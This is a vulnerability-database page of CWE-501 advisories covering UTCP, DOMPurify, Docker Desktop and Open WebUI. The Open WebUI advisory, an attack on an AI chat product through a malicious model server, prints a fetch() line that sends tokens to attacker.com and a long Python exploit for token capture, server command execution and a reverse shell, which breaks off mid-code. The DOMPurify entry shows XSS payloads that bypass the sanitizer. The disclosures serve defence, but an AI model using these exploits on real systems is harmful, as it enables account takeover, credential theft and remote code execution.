Common Weakness Enumeration
CWE-501
AllowedTrust Boundary Violation
Abstraction: Base · Status: Draft
The product mixes trusted and untrusted data in the same data structure or structured message.
50 vulnerabilities reference this CWE, most recent first.
GHSA-75MJ-4G74-9RG2
Vulnerability from github – Published: 2025-12-13 18:30 – Updated: 2025-12-15 23:55
VLAI
Summary
Universal Tool Calling Protocol (UTCP) client library for Python vulnerable to Trust Boundary Violation through Manual JSON specification
Details
The vulnerability arises when a client fetches a tools’ JSON specification, known as a Manual, from a remote Manual Endpoint. While a provider may initially serve a benign manual (e.g., one defining an HTTP tool call), earning the clients’ trust, a malicious provider can later change the manual to exploit the client.
Severity
7.5 (High)
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"ecosystem": "PyPI",
"name": "utcp"
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"introduced": "0"
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{
"fixed": "1.1.0"
}
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"type": "ECOSYSTEM"
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"aliases": [
"CVE-2025-14542"
],
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"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:55:42Z",
"nvd_published_at": "2025-12-13T16:16:51Z",
"severity": "HIGH"
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"details": "The vulnerability arises when a client fetches a tools\u2019 JSON specification, known as a Manual, from a remote Manual Endpoint. While a provider may initially serve a benign manual (e.g., one defining an HTTP tool call), earning the clients\u2019 trust, a malicious provider can later change the manual to exploit the client.",
"id": "GHSA-75mj-4g74-9rg2",
"modified": "2025-12-15T23:55:42Z",
"published": "2025-12-13T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14542"
},
{
"type": "WEB",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp/commit/2dc9c02df72cad3770c934959325ec344b441444"
},
{
"type": "WEB",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/python-utcp-untrusted-manual-command-execution-jfsa-2025-001648329"
}
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"severity": [
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"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
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"summary": "Universal Tool Calling Protocol (UTCP) client library for Python vulnerable to Trust Boundary Violation through Manual JSON specification"
}
GHSA-76MC-F452-CXCM
Vulnerability from github – Published: 2026-06-15 19:59 – Updated: 2026-06-15 19:59
VLAI
Summary
DOMPurify: Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`
Details
Hook mutation of data.allowedTags / data.allowedAttributes permanently pollutes DEFAULT_ALLOWED_TAGS / DEFAULT_ALLOWED_ATTR
CWE: CWE-501 (Trust Boundary Violation — hook-scoped mutation leaks to global default sets) via CWE-693 (Protection Mechanism Failure — the default allow-list is silently widened for all subsequent sanitize calls)
Summary
The data.allowedTags and data.allowedAttributes fields passed to uponSanitizeElement and uponSanitizeAttribute hooks are direct references to the library's live ALLOWED_TAGS / ALLOWED_ATTR sets. For sanitize calls that don't supply an explicit cfg.ALLOWED_TAGS / cfg.ALLOWED_ATTR array, those live sets are themselves direct references to the module-level DEFAULT_ALLOWED_TAGS / DEFAULT_ALLOWED_ATTR constants. A hook that mutates these fields — a natural-looking pattern for "allow X for this iteration" — permanently writes new entries into the default constants for the DOMPurify instance's lifetime. Every subsequent sanitize call that doesn't override the config inherits the widened defaults, so an attacker payload that uses the poisoned tag/attribute name survives sanitization. removeAllHooks(), clearConfig(), and even passing a fresh cfg: {} do not recover; only constructing a new DOMPurify instance does.
The maintainer's existing defense at src/purify.ts:696-700 explicitly clones DEFAULT_ALLOWED_TAGS before mutating it via cfg.ADD_TAGS (array form), demonstrating awareness of this exact class. The hook path remained uncovered.
Affected
- DOMPurify ≤ 3.4.5, including
mainat7996f1dc78eb8b7922388aed75d94a9f8fad9a36 - Any application that installs a hook on
uponSanitizeElementoruponSanitizeAttributethat writes todata.allowedTags[...] = trueordata.allowedAttributes[...] = trueand later sanitizes attacker-influenced content with default config (no explicitcfg.ALLOWED_TAGS/cfg.ALLOWED_ATTRarray)
Vulnerability details
[A] — data.allowedTags is a reference to ALLOWED_TAGS
src/purify.ts:1206-1209:
_executeHooks(hooks.uponSanitizeElement, currentNode, {
tagName,
allowedTags: ALLOWED_TAGS, // [A] direct reference; hook mutation
// mutates the very ALLOWED_TAGS the
// library checks on the next element
});
src/purify.ts:1494-1500 (the matching attribute hook):
const hookEvent = {
attrName: '',
attrValue: '',
keepAttr: true,
allowedAttributes: ALLOWED_ATTR, // [A'] same pattern
forceKeepAttr: undefined,
};
[B] — ALLOWED_TAGS = DEFAULT_ALLOWED_TAGS for default-cfg sanitize calls
src/purify.ts:527-531:
ALLOWED_TAGS =
objectHasOwnProperty(cfg, 'ALLOWED_TAGS') &&
arrayIsArray(cfg.ALLOWED_TAGS)
? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc)
: DEFAULT_ALLOWED_TAGS; // [B] reference assignment; ALLOWED_TAGS
// IS the DEFAULT_ALLOWED_TAGS object
(The ALLOWED_ATTR = DEFAULT_ALLOWED_ATTR path at :532-536 is symmetric.)
The mismatch
A hook author who writes data.allowedTags['script'] = true reasonably expects per-call scope — the API name is "data", suggesting per-event payload. But [A] makes this a direct reference, and [B] makes that reference equal to the module-level default for the common default-cfg path. The hook's mutation therefore writes to a constant that every subsequent default-cfg sanitize call rebinds to.
The maintainer already recognized this class for the ADD_TAGS array path — src/purify.ts:696-700:
} else if (arrayIsArray(cfg.ADD_TAGS)) {
if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {
ALLOWED_TAGS = clone(ALLOWED_TAGS); // explicitly clone DEFAULT before
// mutating to avoid this pollution
}
addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);
}
The same defensive clone is missing from the hook code paths.
Proof of concept
// 1) fresh DOMPurify, default config — script is blocked
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"
// 2) install a hook that mutates data.allowedTags (natural-looking pattern)
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
data.allowedTags['script'] = true;
});
// 3) one sanitize call WITH the hook — script survives (expected during the hook)
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"
// 4) remove the hook
DOMPurify.removeAllHooks();
DOMPurify.clearConfig();
// 5) sanitize attacker content with default config — POLLUTION PERSISTS
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>" ← script survived without any hook
// 6) the only recovery: create a fresh DOMPurify instance
const fresh = DOMPurify(window);
fresh.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>" ← clean
Observed (Chromium 148.0.7778.96, DOMPurify HEAD 7996f1d):
| step | input | output | bypass? |
|---|---|---|---|
| 1 fresh baseline | <svg><script>__</script></svg> |
<svg></svg> |
no |
| 1b fresh baseline | <a onclick=__>x</a> |
<a>x</a> |
no |
| 2 with hook (script) | <svg><script>__</script></svg> |
<svg><script>__</script></svg> |
yes (expected) |
| 2b with hook (onclick) | <a onclick=__>x</a> |
<a onclick="__">x</a> |
yes (expected) |
3 after removeAllHooks() |
same | <svg><script>__</script></svg> |
YES (pollution) |
3b after removeAllHooks() |
same | <a onclick="__">x</a> |
YES (pollution) |
4 after clearConfig() |
same | <svg><script>__</script></svg> |
YES |
4b after clearConfig() |
same | <a onclick="__">x</a> |
YES |
5 explicit restrictive cfg.ALLOWED_TAGS=['svg'] |
same | <svg></svg> |
no (cloned set) |
| 6 back to no cfg | same | <svg><script>__</script></svg> |
YES |
| 6b back to no cfg | same | <a onclick="__">x</a> |
YES |
7 fresh DOMPurify(window) instance |
same | <svg></svg> |
no |
| 7b fresh instance | <a onclick=__>x</a> |
<a>x</a> |
no |
Impact
Direct
Any application using DOMPurify that has any registered hook with the pattern data.allowedTags[...] = true or data.allowedAttributes[...] = true. The hook need not be designed to be permissive — it might be intended to temporarily allow a custom tag for one specific element shape. After the hook has executed even once, every subsequent default-config sanitize call carries the widened defaults, including:
- attacker content rendered via separate code paths (e.g., the same library serving a comments section and a profile bio, where the bio uses the hook and the comments use plain
DOMPurify.sanitize(text)) - third-party libraries that call
DOMPurify.sanitizeon the same instance
The bypass survives DOMPurify.removeAllHooks() and DOMPurify.clearConfig() — the obvious "reset" calls a dev would reach for. Detection requires reading the DEFAULT_ALLOWED_TAGS / DEFAULT_ALLOWED_ATTR sets directly, which are not part of the public API.
Indirect / second-order
- Editor / preview libraries that compose with DOMPurify — if any consumer registers a hook that mutates
data.allowedTags, every other consumer's sanitize calls inherit the widening. - Test suites that exercise multiple sanitize configurations — once a test's hook pollutes the defaults, later tests that assume default behavior may pass with widened defaults and miss real regressions.
- Long-running servers (SSR, edge functions) that reuse a single DOMPurify instance — pollution accumulates over the process lifetime.
Why the existing maintainer defense for ADD_TAGS doesn't catch this
src/purify.ts:696-700 already documents awareness:
} else if (arrayIsArray(cfg.ADD_TAGS)) {
if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {
ALLOWED_TAGS = clone(ALLOWED_TAGS);
}
addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);
}
The clone-before-mutate pattern is exactly what's needed at the hook callsites (:1206-1209 and :1494-1500) but was not extended there. The new entries this report's bypass adds to the defaults survive the same way ADD_TAGS array entries would have survived before that fix landed.
Suggested fix
Three minimal-impact options, in order of preference:
- Hand the hook a defensive copy (most surgical):
ts
_executeHooks(hooks.uponSanitizeElement, currentNode, {
tagName,
allowedTags: { ...ALLOWED_TAGS }, // shallow copy; mutations stay scoped
});
Doc note: "data.allowedTags is a snapshot; to widen the live set, use cfg.ADD_TAGS or set the value to true in the snapshot and check the snapshot from a subsequent attribute hook." Hooks that read it for inspection still work; hooks that intended cross-call mutation must be rewritten to use a proper config path (which is the correct API anyway).
-
Clone-on-write inside the hook path, mirroring the existing
ADD_TAGSdefense at:696-700: detect thatALLOWED_TAGS === DEFAULT_ALLOWED_TAGSafter the hook returns, and if so, replace it with a clone for subsequent processing. This preserves the live-mutation semantics for in-call effects while preventing cross-call leakage. -
Lazy-clone
ALLOWED_TAGS/ALLOWED_ATTRfrom defaults on first mutation: install a Proxy or accessor that triggers a clone before mutation. Largest surface area, but bulletproof.
Option (1) is the cleanest API contract: hook event objects should be event-local, never references to library-internal state.
Severity
6.1 (Medium)
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"details": "# Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`\n\n**CWE**: CWE-501 (Trust Boundary Violation \u2014 hook-scoped mutation leaks to global default sets) via CWE-693 (Protection Mechanism Failure \u2014 the default allow-list is silently widened for all subsequent sanitize calls)\n\n## Summary\n\nThe `data.allowedTags` and `data.allowedAttributes` fields passed to `uponSanitizeElement` and `uponSanitizeAttribute` hooks are **direct references** to the library\u0027s live `ALLOWED_TAGS` / `ALLOWED_ATTR` sets. For sanitize calls that don\u0027t supply an explicit `cfg.ALLOWED_TAGS` / `cfg.ALLOWED_ATTR` array, those live sets are themselves direct references to the module-level `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` constants. A hook that mutates these fields \u2014 a natural-looking pattern for \"allow `X` for this iteration\" \u2014 permanently writes new entries into the default constants for the DOMPurify instance\u0027s lifetime. Every subsequent sanitize call that doesn\u0027t override the config inherits the widened defaults, so an attacker payload that uses the poisoned tag/attribute name survives sanitization. `removeAllHooks()`, `clearConfig()`, and even passing a fresh `cfg: {}` do not recover; only constructing a new DOMPurify instance does.\n\nThe maintainer\u0027s existing defense at `src/purify.ts:696-700` explicitly clones `DEFAULT_ALLOWED_TAGS` before mutating it via `cfg.ADD_TAGS` (array form), demonstrating awareness of this exact class. The hook path remained uncovered.\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `7996f1dc78eb8b7922388aed75d94a9f8fad9a36`\n- Any application that installs a hook on `uponSanitizeElement` or `uponSanitizeAttribute` that writes to `data.allowedTags[...] = true` or `data.allowedAttributes[...] = true` and later sanitizes attacker-influenced content with default config (no explicit `cfg.ALLOWED_TAGS` / `cfg.ALLOWED_ATTR` array)\n\n## Vulnerability details\n\n### [A] \u2014 `data.allowedTags` is a reference to `ALLOWED_TAGS`\n\n`src/purify.ts:1206-1209`:\n\n```ts\n_executeHooks(hooks.uponSanitizeElement, currentNode, {\n tagName,\n allowedTags: ALLOWED_TAGS, // [A] direct reference; hook mutation\n // mutates the very ALLOWED_TAGS the\n // library checks on the next element\n});\n```\n\n`src/purify.ts:1494-1500` (the matching attribute hook):\n\n```ts\nconst hookEvent = {\n attrName: \u0027\u0027,\n attrValue: \u0027\u0027,\n keepAttr: true,\n allowedAttributes: ALLOWED_ATTR, // [A\u0027] same pattern\n forceKeepAttr: undefined,\n};\n```\n\n### [B] \u2014 `ALLOWED_TAGS = DEFAULT_ALLOWED_TAGS` for default-cfg sanitize calls\n\n`src/purify.ts:527-531`:\n\n```ts\nALLOWED_TAGS =\n objectHasOwnProperty(cfg, \u0027ALLOWED_TAGS\u0027) \u0026\u0026\n arrayIsArray(cfg.ALLOWED_TAGS)\n ? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc)\n : DEFAULT_ALLOWED_TAGS; // [B] reference assignment; ALLOWED_TAGS\n // IS the DEFAULT_ALLOWED_TAGS object\n```\n\n(The `ALLOWED_ATTR = DEFAULT_ALLOWED_ATTR` path at `:532-536` is symmetric.)\n\n### The mismatch\n\nA hook author who writes `data.allowedTags[\u0027script\u0027] = true` reasonably expects per-call scope \u2014 the API name is *\"data\"*, suggesting per-event payload. But [A] makes this a direct reference, and [B] makes that reference equal to the module-level default for the common default-cfg path. The hook\u0027s mutation therefore writes to a *constant* that every subsequent default-cfg sanitize call rebinds to.\n\nThe maintainer already recognized this class for the `ADD_TAGS` array path \u2014 `src/purify.ts:696-700`:\n\n```ts\n} else if (arrayIsArray(cfg.ADD_TAGS)) {\n if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n ALLOWED_TAGS = clone(ALLOWED_TAGS); // explicitly clone DEFAULT before\n // mutating to avoid this pollution\n }\n addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n}\n```\n\nThe same defensive clone is missing from the hook code paths.\n\n## Proof of concept\n\n```js\n// 1) fresh DOMPurify, default config \u2014 script is blocked\nDOMPurify.sanitize(\u0027\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u0027);\n// \u2192 \"\u003csvg\u003e\u003c/svg\u003e\"\n\n// 2) install a hook that mutates data.allowedTags (natural-looking pattern)\nDOMPurify.addHook(\u0027uponSanitizeElement\u0027, (node, data) =\u003e {\n data.allowedTags[\u0027script\u0027] = true;\n});\n\n// 3) one sanitize call WITH the hook \u2014 script survives (expected during the hook)\nDOMPurify.sanitize(\u0027\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u0027);\n// \u2192 \"\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\"\n\n// 4) remove the hook\nDOMPurify.removeAllHooks();\nDOMPurify.clearConfig();\n\n// 5) sanitize attacker content with default config \u2014 POLLUTION PERSISTS\nDOMPurify.sanitize(\u0027\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u0027);\n// \u2192 \"\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\" \u2190 script survived without any hook\n\n// 6) the only recovery: create a fresh DOMPurify instance\nconst fresh = DOMPurify(window);\nfresh.sanitize(\u0027\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u0027);\n// \u2192 \"\u003csvg\u003e\u003c/svg\u003e\" \u2190 clean\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify HEAD `7996f1d`):\n\n| step | input | output | bypass? |\n|---|---|---|---|\n| 1 fresh baseline | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | `\u003csvg\u003e\u003c/svg\u003e` | no |\n| 1b fresh baseline | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca\u003ex\u003c/a\u003e` | no |\n| 2 with hook (script) | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | yes (expected) |\n| 2b with hook (onclick) | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | yes (expected) |\n| 3 after `removeAllHooks()` | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES (pollution)** |\n| 3b after `removeAllHooks()` | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES (pollution)** |\n| 4 after `clearConfig()` | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES** |\n| 4b after `clearConfig()` | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES** |\n| 5 explicit restrictive `cfg.ALLOWED_TAGS=[\u0027svg\u0027]` | same | `\u003csvg\u003e\u003c/svg\u003e` | no (cloned set) |\n| 6 back to no cfg | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES** |\n| 6b back to no cfg | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES** |\n| 7 fresh `DOMPurify(window)` instance | same | `\u003csvg\u003e\u003c/svg\u003e` | no |\n| 7b fresh instance | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca\u003ex\u003c/a\u003e` | no |\n\n## Impact\n\n### Direct\n\nAny application using `DOMPurify` that has any registered hook with the pattern `data.allowedTags[...] = true` or `data.allowedAttributes[...] = true`. The hook need not be designed to be permissive \u2014 it might be intended to *temporarily* allow a custom tag for one specific element shape. After the hook has executed even once, every subsequent default-config sanitize call carries the widened defaults, including:\n\n- attacker content rendered via separate code paths (e.g., the same library serving a comments section and a profile bio, where the bio uses the hook and the comments use plain `DOMPurify.sanitize(text)`)\n- third-party libraries that call `DOMPurify.sanitize` on the same instance\n\nThe bypass survives `DOMPurify.removeAllHooks()` and `DOMPurify.clearConfig()` \u2014 the obvious \"reset\" calls a dev would reach for. Detection requires reading the `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` sets directly, which are not part of the public API.\n\n### Indirect / second-order\n\n- **Editor / preview libraries** that compose with DOMPurify \u2014 if any consumer registers a hook that mutates `data.allowedTags`, every other consumer\u0027s sanitize calls inherit the widening.\n- **Test suites** that exercise multiple sanitize configurations \u2014 once a test\u0027s hook pollutes the defaults, later tests that assume default behavior may pass with widened defaults and miss real regressions.\n- **Long-running servers** (SSR, edge functions) that reuse a single DOMPurify instance \u2014 pollution accumulates over the process lifetime.\n\n### Why the existing maintainer defense for `ADD_TAGS` doesn\u0027t catch this\n\n`src/purify.ts:696-700` already documents awareness:\n\n```ts\n} else if (arrayIsArray(cfg.ADD_TAGS)) {\n if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n ALLOWED_TAGS = clone(ALLOWED_TAGS);\n }\n addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n}\n```\n\nThe clone-before-mutate pattern is exactly what\u0027s needed at the hook callsites (`:1206-1209` and `:1494-1500`) but was not extended there. The new entries this report\u0027s bypass adds to the defaults survive the same way `ADD_TAGS` array entries would have survived before that fix landed.\n\n## Suggested fix\n\nThree minimal-impact options, in order of preference:\n\n1. **Hand the hook a defensive copy** (most surgical):\n\n ```ts\n _executeHooks(hooks.uponSanitizeElement, currentNode, {\n tagName,\n allowedTags: { ...ALLOWED_TAGS }, // shallow copy; mutations stay scoped\n });\n ```\n\n Doc note: \"`data.allowedTags` is a snapshot; to widen the live set, use `cfg.ADD_TAGS` or set the value to true in the snapshot and check the snapshot from a subsequent attribute hook.\" Hooks that read it for inspection still work; hooks that intended cross-call mutation must be rewritten to use a proper config path (which is the correct API anyway).\n\n2. **Clone-on-write inside the hook path**, mirroring the existing `ADD_TAGS` defense at `:696-700`: detect that `ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS` after the hook returns, and if so, replace it with a clone for subsequent processing. This preserves the live-mutation semantics for in-call effects while preventing cross-call leakage.\n\n3. **Lazy-clone `ALLOWED_TAGS`/`ALLOWED_ATTR` from defaults on first mutation**: install a Proxy or accessor that triggers a clone before mutation. Largest surface area, but bulletproof.\n\nOption (1) is the cleanest API contract: hook event objects should be event-local, never references to library-internal state.",
"id": "GHSA-76mc-f452-cxcm",
"modified": "2026-06-15T19:59:09Z",
"published": "2026-06-15T19:59:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
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"schema_version": "1.4.0",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "DOMPurify: Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`"
}
GHSA-7V95-W7C6-3W2G
Vulnerability from github – Published: 2023-09-25 18:30 – Updated: 2024-04-04 07:50
VLAI
Details
Docker Desktop 4.11.x allows --no-windows-containers flag bypass via IPC response spoofing which may lead to Local Privilege Escalation (LPE).This issue affects Docker Desktop: 4.11.X.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-0627"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-25T16:15:13Z",
"severity": "HIGH"
},
"details": "Docker Desktop 4.11.x allows --no-windows-containers flag bypass via IPC response spoofing which may lead to Local Privilege Escalation (LPE).This issue affects Docker Desktop: 4.11.X.\n\n",
"id": "GHSA-7v95-w7c6-3w2g",
"modified": "2024-04-04T07:50:11Z",
"published": "2023-09-25T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0627"
},
{
"type": "WEB",
"url": "https://docs.docker.com/desktop/release-notes/#4120"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CM35-V4VP-5XVX
Vulnerability from github – Published: 2025-11-07 17:37 – Updated: 2025-11-15 02:10
VLAI
Summary
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Details
Summary
Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.
Details
ROOT CAUSE ANALYSIS:
Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.
VULNERABLE COMPONENT: Frontend SSE Event Handler
The frontend JavaScript code processes SSE events from external servers and specifically
handles an execute event type that triggers arbitrary JavaScript execution:
// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }
VULNERABILITY DETAILS:
- No validation of external server trustworthiness
- No allowlist of trusted model providers
- No event type whitelisting or filtering
- Direct execution of code from
executeevents usingnew Function() - No sandboxing or Content Security Policy enforcement
- Full browser context access (localStorage, cookies, DOM)
ATTACK VECTOR:
- Attacker deploys malicious OpenAI-compatible API server
- Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"
- Victim enables Direct Connections (Admin Settings → Connections)
- Victim adds attacker's URL as external connection
- Victim sends ANY message to the malicious model
- Malicious server responds with SSE stream including:
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
- Frontend executes the malicious code via
new Function() - JWT token exfiltrated to attacker's server
- Token is valid permanently (expires_at: null)
EXPLOITATION EVIDENCE:
Tested on Open WebUI v0.6.33 (2025-10-08):
- Token successfully captured in < ~5 seconds
- Admin token obtained with full privileges
- Token format: JWT stored in localStorage
- Token validation confirmed via /api/v1/users/user/info](http://localhost:3000/api/v1/auths/
CWE CLASSIFICATIONS:
Primary: - CWE-829: Inclusion of Functionality from Untrusted Control Sphere - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
Secondary: - CWE-830: Inclusion of Web Functionality from an Untrusted Source - CWE-501: Trust Boundary Violation - CWE-522: Insufficiently Protected Credentials (token in localStorage)
CHAINED IMPACT:
When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).
PoC
PROOF OF CONCEPT - COMPLETE REPRODUCTION
PREREQUISITES: - Open WebUI v0.6.33 running (tested version) - Node.js v18+ for malicious server - Python 3.8+ for token listener
ENVIRONMENT SETUP:
For Docker deployment:
Clone the repository Open WebUI v0.6.33 and run docker compose up
EXPLOITATION STEPS:
Step 1: Create Malicious Model Server (malicious-server.js)
#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE
This script demonstrates how quickly an attacker can go from
token theft to full server compromise.
Usage:
python3 auto_exploit.py # Auto RCE (via Functions)
python3 auto_exploit.py --tool # Use Tools API instead
python3 auto_exploit.py --shell HOST PORT # Reverse shell
LAB ENVIRONMENT ONLY
"""
import http.server
import socketserver
import threading
import requests
import json
import sys
import time
import argparse
from urllib.parse import urlparse, parse_qs
from datetime import datetime
# Configuration
EXFIL_PORT = 8081
OPEN_WEBUI_URL = 'http://localhost:3000'
# Global state
captured_token = None
token_received = threading.Event()
class Colors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
class TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP handler that captures tokens and triggers immediate exploitation"""
def log_message(self, format, *args):
pass # Suppress default logging
def do_GET(self):
global captured_token
parsed = urlparse(self.path)
query_params = parse_qs(parsed.query)
if 'token' in query_params:
token = query_params['token'][0]
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.OKGREEN}{'='*60}{Colors.ENDC}")
print(f"{Colors.OKGREEN}{Colors.BOLD}[{timestamp}] TOKEN CAPTURED!{Colors.ENDC}")
print(f"{Colors.OKGREEN}{'='*60}{Colors.ENDC}")
print(f"{Colors.OKBLUE}[*] Token length: {len(token)} chars{Colors.ENDC}")
print(f"{Colors.OKBLUE}[*] Source: {self.client_address[0]}{Colors.ENDC}")
captured_token = token
token_received.set() # Signal that token is ready
# Send response
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(json.dumps({'status': 'received'}).encode())
def do_OPTIONS(self):
"""Handle CORS preflight"""
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def start_listener():
"""Start the token capture listener in background thread"""
Handler = TokenCaptureHandler
with socketserver.TCPServer(("", EXFIL_PORT), Handler) as httpd:
httpd.serve_forever()
def verify_token(token):
"""Verify token is valid"""
try:
response = requests.get(
f'{OPEN_WEBUI_URL}/api/v1/users/user/info',
headers={'Authorization': f'Bearer {token}'},
timeout=5
)
return response.status_code == 200
except:
return False
def create_command_execution(token, command):
"""Create a function that executes a command"""
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.WARNING}[{timestamp}] Weaponizing token...{Colors.ENDC}")
malicious_code = f'''"""
title: Auto Exploit
"""
import subprocess
import sys
class Pipe:
def __init__(self):
try:
result = subprocess.check_output(
{repr(command)},
shell=True,
stderr=subprocess.STDOUT,
text=True,
timeout=30
)
print(f"[AUTO_EXPLOIT_OUTPUT]\\n{{result}}", file=sys.stderr)
except Exception as e:
print(f"[AUTO_EXPLOIT_ERROR] {{e}}", file=sys.stderr)
def pipe(self, body: dict) -> dict:
return body
'''
payload = {
"id": f"auto_exploit_{int(time.time())}",
"name": "Auto Exploit",
"content": malicious_code,
"meta": {"description": "Automated exploitation", "manifest": {}}
}
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
try:
response = requests.post(
f'{OPEN_WEBUI_URL}/api/v1/functions/create',
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
return True
else:
print(f"{Colors.FAIL}[!] RCE failed: {response.status_code}{Colors.ENDC}")
print(f"{Colors.FAIL}[!] {response.text}{Colors.ENDC}")
return False
except Exception as e:
print(f"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}")
return False
def create_reverse_shell(token, host, port):
"""Create a function that spawns reverse shell"""
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.WARNING}[{timestamp}] Creating reverse shell...{Colors.ENDC}")
malicious_code = f'''"""
title: Reverse Shell
"""
import socket
import subprocess
import os
import sys
import threading
class Pipe:
def __init__(self):
def connect():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{host}", {port}))
# Duplicate file descriptors
os.dup2(s.fileno(), 0)
